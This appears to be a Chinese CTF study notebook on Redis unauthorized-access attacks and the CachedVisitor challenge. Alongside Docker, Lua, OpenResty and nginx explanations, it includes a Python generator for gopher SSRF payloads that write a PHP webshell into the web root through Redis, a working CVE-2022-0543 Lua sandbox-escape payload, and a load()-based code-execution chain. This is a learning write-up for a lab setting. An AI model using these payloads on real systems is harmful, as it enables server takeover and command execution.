        # 1. 接收用户输入:目标机web根目录(PHP文件存放路径),默认/var/www/html(Apache/Nginx通用路径)
        web_root_location = raw_input("\033[96m" +"\nGive web root location of server (default is /var/www/html): "+ "\033[0m")
        # 2. 接收用户输入:PHP木马内容,默认使用系统命令执行的一句话木马
        php_payload = raw_input("\033[96m" +"Give PHP Payload (We have default PHP Shell): "+ "\033[0m")
        # 3. 默认PHP木马:<?php system($_GET['cmd']); ?> (通过cmd参数执行任意系统命令)
        default = "<?php system($_GET['cmd']); ?>"
        
        # 4. 处理默认值:用户未输入则使用默认一句话木马
        if(not php_payload):
            php_payload = default
        if(not web_root_location):
            web_root_location = "/var/www/html"
        
        # 5. 构造Redis攻击命令的原始payload(RESP协议格式)
        #    逻辑与反向Shell一致,只是将写入的文件改为web目录下的shell.php
        payload = """*1\r          # 数组长度1:执行flushall清空Redis数据
$8\r
flushall\r
*3\r          # 数组长度3:执行set命令写入PHP木马
$3\r
set\r
$1\r
1\r
$""" + str(len(php_payload) + 4) + """\r  # PHP木马内容的总长度(+4兼容RESP解析)


""" + php_payload + """  # 核心:PHP一句话木马内容

\r
*4\r          # 数组长度4:修改Redis数据目录为web根目录
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$""" + str(len(web_root_location)) + """\r
""" + web_root_location + """\r
*4\r          # 数组长度4:修改Redis持久化文件名为shell.php
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r          # 字符串长度9:"shell.php"的字符数
shell.php\r   # 持久化文件名:写入web目录下的shell.php
*1\r          # 执行save命令,强制将PHP木马写入shell.php文件
$4\r
save\r

"""
        # 6. URL编码处理:同反向Shell的编码规则
        finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
        
        # 7. 输出最终的gopher攻击链接
        print "\033[93m" +"\nYour gopher link is Ready to get PHP Shell: \n"+ "\033[0m"
        print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
        # 提示用户:攻击成功后可通过 http://目标IP/shell.php?cmd=命令 执行任意系统命令
        print "\033[01m"+"\nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. "+ "\033[0m"
        print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"


    # 主交互逻辑:选择攻击类型
    print "\033[01m"+"\nReady To get SHELL\n"+ "\033[0m"
    # 接收用户选择:反向Shell或PHPShell
    what = raw_input("\033[35m" +"What do you want?? (ReverseShell/PHPShell): "+ "\033[0m")
    # 统一转为小写,避免大小写输入错误
    what = what.lower()
    # 匹配"rev"关键词(ReverseShell),执行反向Shell生成函数
    if("rev" in what):
        get_Redis_ReverseShell()
    # 匹配"php"关键词(PHPShell),执行PHP木马生成函数
    elif("php" in what):
        get_Redis_PHPShell()
    # 输入错误时提示并退出
    else:
        print "\033[93m" +"Plz choose between those two"+ "\033[0m"
        exit()

但是它好像只url编码了一次

写shell的

确实只编码了一次

手动在编码一次成功

这有个lua的

Redis安全漏洞全解析:未授权访问、主从复制原理分析与本地靶场实战(超详细)_redis主从复制漏洞-CSDN博客

环境搭建不起来,简单分析一下吧

文档中详细介绍的 Lua 相关漏洞是 Redis Lua 沙盒绕过命令执行漏洞(CVE-2022-0543),该漏洞是 Redis 中典型的脚本执行权限逃逸漏洞,以下从核心原理、利用条件、漏洞验证、攻击演示及防御措施五个维度展开说明:

一、漏洞核心原理

Redis 从 2.6.0 版本开始内置 Lua 脚本引擎,支持通过EVAL/EVALSHA命令执行 Lua 脚本,用于实现复杂原子操作。为保障安全,Redis 对 Lua 环境做了沙盒限制:默认禁用os.executeio.popen等危险函数,禁止脚本直接调用系统命令或操作文件。

但该沙盒存在设计缺陷:未完全限制 Lua 的package.loadlib函数—— 攻击者可通过该函数加载系统自带的 Lua 标准库(如liblua5.1.so.0),恢复被禁用的io模块(包含io.popen函数),进而执行任意系统命令,实现权限逃逸。

简单来说:沙盒仅禁用了危险函数的直接调用,但未阻止攻击者通过加载外部库 “绕过限制、重建危险功能”。

二、漏洞利用条件

  1. Redis 环境配置:保护模式关闭(protected-mode no)、未设置访问密码(requirepass为空),或攻击者已获取 Redis 访问权限;
  2. 网络可达:攻击者能访问 Redis 服务端口(默认 6379);
  3. 函数可用性:Redis 的 Lua 环境中package.loadlib函数未被禁用(默认可用);
  4. 系统依赖:目标服务器存在 Lua 标准库文件(如 Linux 系统的/usr/lib/x86_64-linux-gnu/liblua5.1.so.0)。

三、漏洞验证步骤

1. 环境信息收集

通过 Redis 客户端连接目标服务后,执行以下命令获取关键配置:

# 查看Redis版本、操作系统等信息
info
# 检查保护模式、绑定地址、存储目录等配置
CONFIG GET protected-mode
CONFIG GET bind
CONFIG GET dir
# 验证危险函数是否被禁用(核心验证步骤)
EVAL 'return type(package.loadlib)' 0  # 返回"function"说明可用
EVAL 'return type(os)' 0             # 返回"nil"说明os模块被禁用
EVAL 'return type(io)' 0             # 返回"nil"说明io模块被禁用

package.loadlib为可用状态(返回function),且保护模式关闭、无密码认证,则漏洞可被利用。

2. 靶场环境示例

文档中使用 Vulfocus 靶场搭建测试环境:

  • 靶机地址:192.168.100.104,映射端口29521(对应 Redis 默认 6379 端口);
  • Redis 版本:5.0.7(受该漏洞影响);
  • 关键配置:protected-mode nobind 0.0.0.0、无密码。

四、漏洞攻击演示(仅用于合法测试)

文档中提供了两种利用方式,核心为「Lua 沙盒绕过」:

方式一:直接加载 Lua 库执行命令

通过package.loadlib加载系统 Lua 库,恢复io.popen函数,执行id/whoami等命令,Payload 如下:

redis

# 执行id命令,获取当前用户权限
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
  • 执行结果:返回uid=0(root) gid=0(root) groups=0(root),说明已获取 root 权限;
  • 命令解析:
    1. package.loadlib(库路径, "luaopen_io"):加载 Lua 的io模块;
    2. io.popen("id", "r"):执行系统命令id,以只读模式获取输出;
    3. f:read("*a"):读取命令输出结果并返回。

同理,执行whoami命令可直接返回root,证实命令执行成功。

不知道为啥centos的小皮面板在centos无法登录,要别的地方比如物理机才能

打这个

【Web】软件系统安全赛CachedVisitor——记一次二开工具的经历_软件安全攻防赛-cachedvisitor-CSDN博客

没错,去年的软件赛的题,就是为了这个学的redis未授权

搭建了半天的环境,烦死人这环境搭建。

dockerfile

FROM openresty/openresty:bionic
ARG RESTY_LUAROCKS_VERSION="3.11.0"
RUN DEBIAN_FRONTEND=noninteractive apt-get update \
    && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
        curl \
        libcurl4-openssl-dev \
        make \
        unzip \
        wget \
        lsb-release \
        gpg \
    && cd /tmp \
    && curl -fSL https://luarocks.github.io/luarocks/releases/luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz -o luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz \
    && tar xzf luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz \
    && cd luarocks-${RESTY_LUAROCKS_VERSION} \
    && ./configure \
        --prefix=/usr/local/openresty/luajit \
        --with-lua=/usr/local/openresty/luajit \
        --with-lua-include=/usr/local/openresty/luajit/include/luajit-2.1 \
    && make build \
    && make install \
    && cd /tmp \
    && rm -rf luarocks-${RESTY_LUAROCKS_VERSION} luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz

ENV LUA_PATH="/usr/local/openresty/site/lualib/?.ljbc;/usr/local/openresty/site/lualib/?/init.ljbc;/usr/local/openresty/lualib/?.ljbc;/usr/local/openresty/lualib/?/init.ljbc;/usr/local/openresty/site/lualib/?.lua;/usr/local/openresty/site/lualib/?/init.lua;/usr/local/openresty/lualib/?.lua;/usr/local/openresty/lualib/?/init.lua;./?.lua;/usr/local/openresty/luajit/share/luajit-2.1/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/share/lua/5.1/?/init.lua;/usr/local/openresty/luajit/share/lua/5.1/?.lua;/usr/local/openresty/luajit/share/lua/5.1/?/init.lua"

ENV LUA_CPATH="/usr/local/openresty/site/lualib/?.so;/usr/local/openresty/lualib/?.so;./?.so;/usr/local/lib/lua/5.1/?.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so;/usr/local/lib/lua/5.1/loadall.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so"

RUN /usr/local/openresty/luajit/bin/luarocks install Lua-cURL CURL_INCDIR=/usr/include/x86_64-linux-gnu/ && \
    opm get openresty/lua-resty-redis

COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
COPY main.lua /usr/local/openresty/nginx/lua/main.lua
RUN mkdir /scripts
COPY scripts/* /scripts
RUN chmod +x -R /scripts


RUN curl -fsSL https://packages.redis.io/gpg | gpg --dearmor -o /usr/share/keyrings/redis-archive-keyring.gpg \
    && echo "deb [signed-by=/usr/share/keyrings/redis-archive-keyring.gpg] https://packages.redis.io/deb $(lsb_release -cs) main" |  tee /etc/apt/sources.list.d/redis.list \
    && apt update \
    && apt install redis language-pack-id -y

COPY redis.conf /redis.conf

COPY start.sh /
RUN chmod +x /start.sh

COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

EXPOSE 80
CMD ["/start.sh"]

1️⃣ Dockerfile 是什么

  • Dockerfile 就是 容器的配方,写了从哪来的基础镜像、装了哪些软件、拷贝哪些文件、容器怎么启动。

  • 你理解成做一道菜的“食谱”:先选材料(基础镜像 + apt install),然后加工(COPY、RUN),最后上桌(CMD/EXPOSE)。


2️⃣ 基础镜像和镜像层

FROM openresty/openresty:bionic

  • 镜像是现成的“操作系统+软件包”,这里是 Ubuntu 18.04 + OpenResty。

  • Docker 会把每个 RUN/COPY/ADD 产生的修改做成 镜像层,方便缓存和复用。


3️⃣ 安装依赖

RUN apt-get update && apt-get install -y curl make ...

  • RUN 就是 在容器里执行命令

  • 每个 RUN 都会生成一层新的镜像。

  • 这里安装了系统工具、Redis、LuaRocks 等。


4️⃣ 复制文件到容器

COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html

  • COPY 会把宿主机的文件放到镜像里指定路径。

  • 这就是把 Web 页、Lua 脚本、SUID flag 程序带进容器。


5️⃣ 环境变量

ENV LUA_PATH="..."

  • ENV 是给容器设置环境变量。

  • 运行容器时,里面程序会用到这些路径或配置。


6️⃣ 权限操作

RUN chmod 400 /flag
RUN chmod +xs /readflag

  • chmod 改变文件权限,+x 是可执行,+s 是 SUID。

  • Docker 会保持这些权限,当你启动容器后,用户访问文件就是这个权限。


7️⃣ 端口和启动命令

EXPOSE 80
CMD ["/start.sh"]

  • EXPOSE 只是标记端口,告诉外界“这个容器服务在 80 端口”,不自动开放。

  • CMD 是容器启动时执行的命令,相当于容器的入口点。


8️⃣ 总结 Docker 逻辑

  1. FROM → 基础镜像

  2. RUN → 执行安装命令,生成新镜像层

  3. COPY → 把文件拷贝进镜像

  4. ENV → 设置环境变量

  5. EXPOSE → 容器服务端口标记

  6. CMD → 容器启动执行的脚本

⚡ 换句话说,Dockerfile 描述了 “镜像如何做出来 + 容器启动后做什么”


RUN 就是 在容器里执行命令。容器是啥,复制文件到容器是把物理机的文件吗,ENV是啥,RUN chmod 400 /flag 这是linux命令啊 EXPOSE 80 CMD ["/start.sh"] 这两个没看懂,不开放那咋连, cat start.sh #!/bin/bash redis-server /redis.conf openresty -g 'daemon off;' 这啥意思

明白,你现在想先搞懂 Docker 的基本概念 + 容器里这些命令到底干啥,那我一步步拆给你:


1️⃣ 容器是什么

  • 容器就像 一个轻量级虚拟机,但比 VM 更轻,它和宿主机共用内核。

  • 可以把容器理解成 一个独立的沙箱,里面有自己的文件系统、程序和环境。

  • Dockerfile 就是告诉 Docker “我要做一个容器,里面放什么东西、怎么启动”。

💡 举例:

  • 宿主机(你的电脑)上有 Linux 系统。

  • Docker 容器里也有 Linux 系统,但你改里面的文件,不会影响宿主机。

  • 你可以启动多个一模一样的容器,每个容器都是独立的环境。


2️⃣ RUN 就是执行命令

RUN apt-get install curl

  • RUN 就是在 构建镜像时,在容器临时环境里执行 Linux 命令。

  • 执行完后,Docker 会把结果打包成镜像层。

  • 不是运行容器时执行,而是做镜像时执行


3️⃣ COPY 是把宿主机的文件放到镜像里

COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf

  • 宿主机有 nginx.conf 文件。

  • COPY 会把它放到镜像里的 /usr/local/openresty/nginx/conf/

  • 这样容器启动后就能用你提供的配置文件。

  • 类似于“把文件放进容器的文件夹里”。


4️⃣ ENV 是环境变量

ENV LUA_PATH="..."

  • ENV 就是给容器里的程序设置 环境变量

  • 程序启动时会读取这些变量,知道去哪里找库或者配置。

  • 类似 Linux 里的:

export LUA_PATH="/some/path"


5️⃣ chmod /flag 是 Linux 权限

RUN chmod 400 /flag
RUN chmod +xs /readflag

  • /flag 只能读,普通用户不能写,也不能执行。

  • /readflag 加了 SUID,普通用户执行它就能 以文件拥有者身份运行

  • 这是 CTF 常用的权限玩法。


6️⃣ EXPOSE 端口和 CMD 启动

EXPOSE 80
CMD ["/start.sh"]

  • EXPOSE 80

    • 只是告诉 Docker 这个容器提供服务在 80 端口。

    • 不会自动开放给宿主机访问。

    • 想让宿主机访问,要用 docker run -p 8080:80 把宿主机的 8080 端口映射到容器的 80。

  • CMD ["/start.sh"]

    • 容器启动时执行 /start.sh

    • start.sh 内容:

#!/bin/bash
redis-server /redis.conf
openresty -g 'daemon off;'

  1. redis-server /redis.conf → 启动 Redis 服务,用指定配置文件。

  2. openresty -g 'daemon off;' → 启动 OpenResty(Nginx + Lua),daemon off; 表示 不要后台运行,保持容器主进程在前台。

  • CMD 就是容器启动后的“主程序”,如果主程序挂了,容器就会停止。


✅ 总结容器里这些命令:

Dockerfile 指令 容器里的作用
RUN 构建镜像时执行命令,安装软件、配置环境
COPY 把宿主机文件放到容器里
ENV 设置环境变量,程序启动时会用
RUN chmod 改容器文件权限
EXPOSE 告诉 Docker 端口号,只是标记
CMD 容器启动时执行的脚本,控制主进程

1️⃣ 基础镜像和依赖

FROM openresty/openresty:bionic
ARG RESTY_LUAROCKS_VERSION="3.11.0"

  • 使用 OpenResty(Nginx + LuaJIT),基于 Ubuntu 18.04(bionic)。

  • LuaRocks 是 Lua 的包管理器,这里指定版本 3.11.0。

RUN apt-get update && apt-get install -y curl libcurl4-openssl-dev make unzip wget lsb-release gpg

  • 安装了编译和系统工具,为 Lua 扩展、Redis 安装做准备。


2️⃣ Lua 和 OpenResty 配置

RUN ./configure --prefix=/usr/local/openresty/luajit ...
RUN make build && make install

  • 编译并安装 LuaRocks 到 OpenResty 的 LuaJIT 路径下。

  • 设置了环境变量 LUA_PATHLUA_CPATH,告诉 Lua 在哪些路径找模块和共享库。

RUN /usr/local/openresty/luajit/bin/luarocks install Lua-cURL
opm get openresty/lua-resty-redis

  • 安装 Lua-cURLlua-resty-redis,说明这个题目可能会用 Lua 脚本访问 HTTP 或 Redis。


3️⃣ Web 靶机文件

COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
COPY main.lua /usr/local/openresty/nginx/lua/main.lua

  • nginx.conf → Nginx 配置

  • index.html → 静态首页

  • main.lua → Web 的核心逻辑,Lua 写的后台脚本
    ⚠️ 重点main.lua 是题目漏洞的潜在入口,需要阅读。


4️⃣ 脚本和权限

COPY scripts/* /scripts
RUN chmod +x -R /scripts

  • 额外工具或脚本放在 /scripts 下,可执行。

COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

  • /flag → 只读,存放真正 flag。

  • /readflag → 设置了 SUID/SGID,可以被普通用户执行获取 flag。
    ⚠️ 这是最典型的 CTF 权限漏洞点:SUID 程序通常是题目的关键。


5️⃣ Redis 安装与配置

RUN apt install redis
COPY redis.conf /redis.conf

  • 容器里运行 Redis,并用自定义配置。

  • Lua 脚本中可能会访问 Redis(通过 lua-resty-redis),这也是潜在的漏洞入口,例如 未授权访问命令注入


6️⃣ 启动逻辑

COPY start.sh /
RUN chmod +x /start.sh
CMD ["/start.sh"]

  • start.sh 启动 Nginx + Redis。

  • 题目环境启动后,容器会在 80 端口提供 Web 服务。


7️⃣ 暴露端口

EXPOSE 80

  • 外部访问端口就是 Web 端口。


🔑 你需要重点掌握

  1. Lua 脚本逻辑 (main.lua) → 潜在漏洞点(SSRF、命令执行、Redis 注入)。

  2. SUID 程序 (/readflag) → flag 获取方式。

  3. Redis 配置 → 可能的未授权访问或命令注入。

  4. Web 路径映射/scriptsindex.html、Lua 脚本。

  5. 权限设置 → 了解谁可以访问 flag、脚本、Redis。

🔴 第一优先级(必看)

文件 为什么重要 看什么
main.lua 核心业务逻辑 SSRF 点、用户输入处理、Redis 操作
nginx.conf 路由和入口 哪些路径映射到 Lua、是否有隐藏路由
index.html 前端交互 功能点、API 端点、隐藏的 JS 代码

🟠 第二优先级(关键配置)

文件 为什么重要 看什么
start.sh 启动顺序 服务启动方式、环境变量、是否有初始化逻辑
redis.conf Redis 安全配置 是否绑定 0.0.0.0、是否设密码、保护模式
scripts/* 辅助脚本 定时任务、初始化数据、后门逻辑

🟡 第三优先级(辅助分析)

文件 为什么重要 看什么
readflag SUID 提权程序 逆向分析(如果是二进制)、字符串信息
/flag 目标文件 只是确认存在,内容需要提权读取
Dockerfile 全局视角 已分析过,确认组件版本和安装逻辑
#main.lua 
local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end

    local content = file:read("*a")
    file:close()
    return content
end

local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end

local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end

main()

Lua 是什么

  • Lua 是一种 轻量级脚本语言,在 OpenResty 里常用来写 Web 后端逻辑。

  • OpenResty = Nginx + LuaJIT → 可以在 Web 服务里直接写 Lua 脚本处理请求。

  • main.lua 就是 这个容器里的 Web 服务逻辑

代码结构图解

main() 启动
    │
    ▼
read_file("/scripts/visit.script") ──► 读取文件内容
    │
    ▼
execute_lua_code(内容) ──► 提取 ##LUA_START##...##LUA_END## 之间的代码
    │
    ▼
load(lua_code) ──► 编译并执行(💣 漏洞点!)

逐行解析 + CTF 关注点

1. 文件读取函数

local function read_file(filename)
    local file = io.open(filename, "r")     -- 【CTF】以只读模式打开
    if not file then                        -- 文件不存在返回 nil
        return nil
    end
    local content = file:read("*a")         -- 【CTF】"*a" = 读取全部内容
    file:close()
    return content                          -- 返回文件内容(字符串)
end
语法 含义 CTF 关注
io.open(path, "r") 只读打开文件 只能读,不能写
file:read("*a") 读取整个文件 配合其他漏洞读 /flag
file:close() 关闭文件句柄 -

关键发现: 这个函数只读,所以漏洞不在写文件,而是执行


2. 代码执行函数(💣 漏洞核心)

local function execute_lua_code(script_content)
    -- 从内容中提取标记之间的代码
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    
    if lua_code then
        local chunk, err = load(lua_code)   -- 【CTF】💣 任意代码执行!
        if chunk then
            local success, result = pcall(chunk)  -- 执行代码
语法 含义 CTF 关注
string:match("A(.-)B") 正则提取 A 和 B 之间的内容 标记格式 ##LUA_START##...##LUA_END##
load(string) 把字符串当 Lua 代码编译 💣 任意代码执行漏洞!
pcall(function) 保护调用(出错不崩溃) 确保利用成功

漏洞本质:

-- 如果 visit.script 内容是:
##LUA_START##os.execute('id')##LUA_END##

-- 那么:
lua_code = "os.execute('id')"   -- 提取结果
load("os.execute('id')")()      -- 执行系统命令!

3. 主函数

local function main()
    local filename = "/scripts/visit.script"  -- 【CTF】固定路径!
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)      -- 触发漏洞
    end
end

main()
CTF 含义
路径固定 /scripts/visit.script 必须控制这个文件的内容
无过滤 内容直接进 load()

CTF 攻击链(关键问题)

攻击者需要做到:
    │
    ▼
┌─────────────────────────┐
│  写入 /scripts/visit.script │
│  内容:##LUA_START##os.execute('/readflag')##LUA_END##
└─────────────────────────┘
    │
    ▼
访问 /visit → Nginx 执行 main.lua → 执行 readflag → 获得 flag

核心问题:怎么写入 visit.script

由于 main.lua 只有读权限,必须通过其他方式写入:

可能途径 检查方法
Redis 写文件 看 index.html 是否有 SSRF 点
文件上传功能 看前端是否有上传表单
其他脚本/定时任务 看 scripts/ 目录其他文件
日志污染 看是否把 UA/Referer 写入日志再包含

你需要立即做的事

# 1. 看前端有什么功能(上传?URL访问?)
cat index.html

# 2. 看 scripts 目录有什么
ls -la /scripts/
cat /scripts/* 2>/dev/null

# 3. 检查 Redis 相关
# 看 Dockerfile 里有 redis,找谁连它

一句话总结

这段代码的漏洞是 load() 函数执行任意 Lua 代码。但前提是你能控制 /scripts/visit.script 的内容。CTF 现在变成:找其他入口(上传/SSRF/Redis)来写入这个文件!

快贴 index.htmlscripts 目录内容!

1️⃣ OpenResty 是什么?

  • OpenResty = Nginx + LuaJIT + 一堆扩展模块

  • 它的核心是 Nginx(Web 服务器),但 嵌入了 Lua 脚本引擎

  • 为什么嵌入 Lua?

    • Nginx 原生只会做“转发、路由、静态文件”

    • 想做 动态 Web 逻辑(处理请求、数据库、Redis)

    • 如果每次都用 CGI 或外部语言,性能很差

    • Lua 是轻量、高效、可嵌入的语言 → 完美结合 Nginx


2️⃣ Lua 在 OpenResty 的作用

  1. 处理 HTTP 请求

    用户 → Nginx → Lua 脚本 → 响应用户

  2. 操作数据库 / Redis

    • 用 lua-resty-redis 访问 Redis

    • 用 Lua 做缓存、存储、业务逻辑

  3. 动态生成内容

    • Lua 可以直接返回 HTML、JSON

  4. 执行沙箱逻辑

    • 例如 CTF 中执行 /scripts/visit.script 里的 Lua 代

1️⃣ 相似点(Lua ↔ PHP)

对比 Lua(在 OpenResty 里) PHP
用途 处理 Web 请求、生成动态内容 处理 Web 请求、生成动态内容
嵌入服务器 嵌入 Nginx / OpenResty 嵌入 Apache / Nginx (via FPM)
操作数据库 / Redis 支持,通过扩展模块 支持,通过 PDO / Redis 扩展
动态脚本执行 可以在请求时执行 Lua 代码 可以在请求时执行 PHP 代码

💡 也就是说,在 CTF 中,Lua 就像 PHP 一样是 Web 后端语言,负责处理请求、操作资源。


2️⃣ 主要区别

特点 Lua / OpenResty PHP
性能 LuaJIT 超快,嵌入 Nginx,事件驱动高并发 PHP 单线程 + FPM,多进程模型
嵌入方式 Lua 是轻量语言直接嵌入 Nginx 核心 PHP 需要 CGI / FPM 进程通信
语法轻量 极简,函数式、灵活、没有类也可以做对象 比较复杂,有类、命名空间
使用场景 高性能 Web / 缓存 / Lua 脚本执行 普通动态网站 / CMS

3️⃣ 直观比喻

  • PHP = “普通 Web 后端语言”

  • Lua + OpenResty = “嵌入 Nginx 的轻量 Web 后端语言”,它就是 Nginx 的 可编程大脑

所以在 CTF 里,你看到的 main.lua 就像 PHP 的 index.php,负责处理用户请求、访问 Redis、操作文件,甚至可能触发漏洞。

好的,我先讲 Lua 和 OpenResty 的基础框架,帮你理解这个环境。


一、Lua 语言极简入门

1. Lua 是什么?

  • 轻量级脚本语言,嵌入到 Nginx 里就是 OpenResty

  • 语法简单,类似 Python/JavaScript

  • 核心:变量、函数、字符串操作、文件 IO

2. 关键语法(看这题够用)

-- 变量(默认全局,local 是局部)
local x = "hello"           -- 字符串
local n = 123               -- 数字
local t = {a=1, b=2}        -- 表(类似字典/对象)

-- 字符串操作
local s = "##LUA_START##code##LUA_END##"
local result = s:match("##LUA_START##(.-)##LUA_END##")  
-- result = "code"  (提取中间内容)

-- 函数
local function foo(arg)
    return arg * 2
end

-- 执行字符串代码(危险!)
load("return 1+1")()        -- 返回 2
load("os.execute('id')")()  -- 执行系统命令!

-- 文件操作
local f = io.open("/path", "r")     -- 打开读
local content = f:read("*a")        -- 读取全部
f:close()

-- 执行系统命令
os.execute("ls -la")        -- 执行 shell 命令
io.popen("whoami"):read()   -- 执行并获取输出

nginx.conf

Nginx使用手册 - CTF-Web修炼手册

终极 Nginx 配置指南(全网最详细)_nginx.conf配置-CSDN博客


events {
    worker_connections 1024;
}

http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;
    
    server {
        listen       80;
        server_name  localhost;

        location / {
            root   html;
            index  index.html;
        }

        location /visit {
            default_type text/plain;
            content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
        }

        lua_code_cache off;
    }
}

1️⃣ 基础配置

```nginx
events {
    worker_connections 1024;
}
  • events:Nginx 事件处理模块配置
  • worker_connections 1024:单个 worker 进程最大并发连接数
  • 说明:此配置决定 Nginx 并发性能,CTF 中通常保持默认
http {
    include mime.types;
    default_type application/octet-stream;
    sendfile on;
    keepalive_timeout 65;
}
  • http:Web 服务核心配置块
  • include mime.types:加载常见文件类型定义
  • default_type:默认响应类型为二进制流
  • sendfile:启用高效文件传输模式
  • keepalive_timeout:TCP 连接保持时长(秒)

2️⃣ 服务端配置

server {
    listen 80;
    server_name localhost;
}
  • server:定义虚拟主机配置
  • listen 80:监听标准 HTTP 端口
  • server_name:默认使用本地主机名

3️⃣ 路径处理

a) 静态资源

location / {
    root html;
    index index.html;
}
  • /:根路径请求处理
  • root:静态文件根目录(默认路径为 /usr/local/openresty/nginx/html/
  • index:默认返回 index.html 文件

b) 动态处理

location /visit {
    default_type text/plain;
    content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
  • /visit:动态请求路径
  • content_by_lua_file:交由指定 Lua 脚本处理请求
  • default_type:响应内容类型设为纯文本
  • 关键点:该配置为 CTF 漏洞入口,main.lua 会读取并执行 /scripts/visit.script 中的代码

4️⃣ Lua 缓存设置

lua_code_cache off;
  • 默认值:开启缓存提升性能
  • off:禁用缓存,每次请求重新加载脚本
  • CTF 用途:便于即时生效脚本修改,无需重启服务
1️⃣ 基础配置

```nginx
events {
    worker_connections 1024;
}
  • events:Nginx 事件处理模块配置
  • worker_connections 1024:单个 worker 进程最大并发连接数
  • 说明:此配置决定 Nginx 并发性能,CTF 中通常保持默认
http {
    include mime.types;
    default_type application/octet-stream;
    sendfile on;
    keepalive_timeout 65;
}
  • http:Web 服务核心配置块
  • include mime.types:加载常见文件类型定义
  • default_type:默认响应类型为二进制流
  • sendfile:启用高效文件传输模式
  • keepalive_timeout:TCP 连接保持时长(秒)

2️⃣ 服务端配置

server {
    listen 80;
    server_name localhost;
}
  • server:定义虚拟主机配置
  • listen 80:监听标准 HTTP 端口
  • server_name:默认使用本地主机名

3️⃣ 路径处理

a) 静态资源

location / {
    root html;
    index index.html;
}
  • /:根路径请求处理
  • root:静态文件根目录(默认路径为 /usr/local/openresty/nginx/html/
  • index:默认返回 index.html 文件

b) 动态处理

location /visit {
    default_type text/plain;
    content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
  • /visit:动态请求路径
  • content_by_lua_file:交由指定 Lua 脚本处理请求
  • default_type:响应内容类型设为纯文本
  • 关键点:该配置为 CTF 漏洞入口,main.lua 会读取并执行 /scripts/visit.script 中的代码

4️⃣ Lua 缓存设置

lua_code_cache off;
  • 默认值:开启缓存提升性能
  • off:禁用缓存,每次请求重新加载脚本
  • CTF 用途:便于即时生效脚本修改,无需重启服务

1️⃣ Lua 在 OpenResty 中

配置示例

location /visit {
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

  • /visit → 路由匹配 Nginx

  • 直接调用 Lua 脚本main.lua)处理请求

  • Lua 脚本可以:

    • 读取文件 /scripts/visit.script

    • 操作 Redis

    • 返回响应

💡 特点:

  • Lua 嵌入 Nginx 内核

  • 请求到 Nginx → 直接走 Lua 脚本

  • 没有额外进程,效率高

  • Lua 脚本就是“路由 + 控制器 + 业务逻辑”的集合


2️⃣ PHP 在 Nginx 中

配置示例

location ~ \.php$ {
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}

  • Nginx 路由匹配 .php 文件

  • 转发请求到 PHP-FPM 外部进程

  • PHP-FPM 执行脚本 → 返回结果给 Nginx → 再响应用户

💡 特点:

  • PHP 不是内置 Nginx 的

  • Nginx 只做 路由 + 代理

  • PHP-FPM 执行脚本,相当于外部“处理器”

  • Lua 不需要额外进程,PHP 需要 FPM


3️⃣ 总结对比

特性 Lua / OpenResty PHP / Nginx + FPM
执行方式 嵌入 Nginx 内核 外部进程 FPM
路由 location → Lua 脚本直接处理 location → 转发到 PHP-FPM
响应用户 Lua 脚本直接输出 PHP-FPM 执行 → 返回 Nginx → 用户
性能 高,轻量,事件驱动 中等,多进程模型
漏洞实验 直接在请求层执行 Lua 代码 PHP 文件逻辑漏洞(文件包含、上传、SQLi)

4️⃣ 一句话理解

  • Lua = 路由 + 逻辑直接在 Nginx 内核执行

  • PHP = 路由在 Nginx,逻辑在 FPM 外部执行

所以你看到 OpenResty CTF 里 /visit 就直接调用 main.lua,而 PHP 网站里需要 Nginx 把请求转给 PHP-FPM。

1️⃣ 基本概念梳理

在理解配置之前,我们先明确几个“对象”:

对象 是什么 作用 / 举例
Nginx 高性能 Web 服务器 接收用户 HTTP 请求、返回网页、转发请求
OpenResty Nginx + LuaJIT + 扩展模块 可以直接在 Nginx 内核里执行 Lua 脚本
Lua 轻量级脚本语言 编写 Web 后端逻辑,处理请求、访问 Redis / 文件
